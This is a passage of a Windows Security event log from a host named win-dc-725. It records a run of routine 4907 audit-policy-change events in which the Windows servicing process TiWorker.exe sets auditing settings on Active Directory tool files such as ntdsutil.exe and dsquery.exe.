	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247371
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntdsutil.exe
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247370
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ldp.exe
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247369
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ldifde.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247368
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\gpfixup.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247367
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsuiwiz.dll
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247366
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dssite.msc
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247365
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsrm.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247364
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsquery.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247363
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsmove.exe
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247362
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsmod.exe
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247361
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsmgmt.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247360
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsget.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247359
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsdbutil.exe
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247358
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsadmin.dll
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247357
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsadd.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247356
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsacn.dll
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247355
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsacls.exe
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247354
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsac.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247353
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dsa.msc
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247352
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\domain.msc
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247351
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\domadmin.dll
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247350
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\delegwiz.inf
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247349
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dcpromoui.dll
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247348
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dcpromocmd.dll
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247347
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dcdiag.exe
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247346
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\csvde.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247345
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adsiedit.msc
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247344
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adsiedit.dll
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247343
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprop.dll
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247342
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_administrative_tools_50eba26877c48094.cdf-ms
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247341
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_d672ba09d81e87ff.cdf-ms
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247340
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_fde55420546edfe6.cdf-ms
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247339
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_cae2264614449191.cdf-ms
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247338
